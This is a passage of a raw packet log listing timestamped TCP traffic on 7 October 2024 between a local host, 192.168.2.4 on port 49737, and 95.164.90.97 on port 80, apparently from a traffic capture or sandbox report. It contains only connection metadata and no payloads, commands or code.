Oct 7, 2024 03:15:48.060285091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060328007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060343027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060363054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060372114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060378075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060395002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060408115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060411930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060427904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060442924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060442924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060468912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060472012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060484886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060493946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060503006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060518026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060528994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060544968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060560942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060565948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060579062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060586929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060620070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060622931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060636044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060652018 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060663939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060668945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060694933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060698032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060712099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060726881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060738087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060743093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060760021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060766935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060775995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060790062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060827971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060933113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060957909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060972929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060977936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060988903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.061005116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.061021090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.061028004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.061037064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.061052084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.061063051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.061069012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.061084986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.061089993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.061105967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.061110973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.061148882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.083189964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.083228111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.083245039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.083261013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.083278894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.083295107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.083312035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.083420038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.083420038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.145443916 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145484924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145517111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145534039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145564079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145581007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145601034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145622015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145638943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145654917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145683050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145700932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145718098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145736933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145800114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.145873070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.145948887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.145965099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146012068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146065950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146081924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146096945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146107912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146115065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146152020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146183968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146200895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146218061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146225929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146245003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146262884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146265984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146280050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146296024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146305084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146313906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146332026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146344900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146357059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146362066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146378994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146393061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146394968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146413088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146424055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146439075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146456003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146465063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146471024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146491051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146492958 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146509886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146517038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146529913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146545887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146555901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146564960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146579981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146595955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146598101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146619081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146625042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146636963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146647930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146688938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146703005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146719933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146735907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146749020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146754026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146789074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146826982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146857023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146872997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146888971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146910906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146922112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146939039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146945000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.146956921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.146986961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147001982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147006989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147018909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147021055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147038937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147042990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147058010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147078991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147084951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147103071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147113085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147119999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147136927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147150040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147154093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147171021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147186995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147187948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147206068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147212029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147222996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147233009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147242069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147257090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147269964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147274971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147293091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147305965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147311926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147332907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147347927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147356033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147367001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147382021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147413969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147429943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147430897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147448063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147464991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147471905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147485018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147494078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147511005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147522926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147540092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147546053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147557020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147574902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147582054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147593975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147608995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147619963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147629976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147650003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147655964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147686005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147696018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147706032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147722960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147747993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147751093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147768021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147784948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147799969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147813082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147813082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147825003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147830963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147850990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147866964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147870064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147886992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147901058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147906065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147922039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147938013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.147948027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.147959948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.148000002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.170068979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.170099020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.170114040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.170152903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.170170069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.170188904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.170200109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.170206070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.170221090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.170250893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.170281887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.170283079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.232405901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232423067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232436895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232503891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232518911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232534885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232549906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232566118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232593060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.232655048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.232897997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232912064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232927084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232944012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.232952118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.232974052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.232990980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233006954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233011961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233025074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233036041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233043909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233066082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233077049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233103991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233104944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233120918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233134985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233159065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233161926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233174086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233194113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233212948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233226061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233227968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233242989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233257055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233266115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233272076 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233289957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233294010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233320951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233342886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233357906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233370066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233383894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233386993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233402014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233412027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233432055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233442068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233447075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233463049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233486891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233488083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233505011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233514071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233530045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233545065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233556986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233561039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233577967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233592987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233604908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233612061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233632088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233648062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233650923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233683109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233706951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233720064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233736038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233762980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233772039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233786106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233788013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233803988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233815908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233820915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233840942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233850002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233865976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233880043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233895063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233895063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233921051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233927965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233937979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233952999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233957052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233968973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.233989000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.233994961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.234011889 CEST	80	49737	95.164.90.97	192.168.2.4
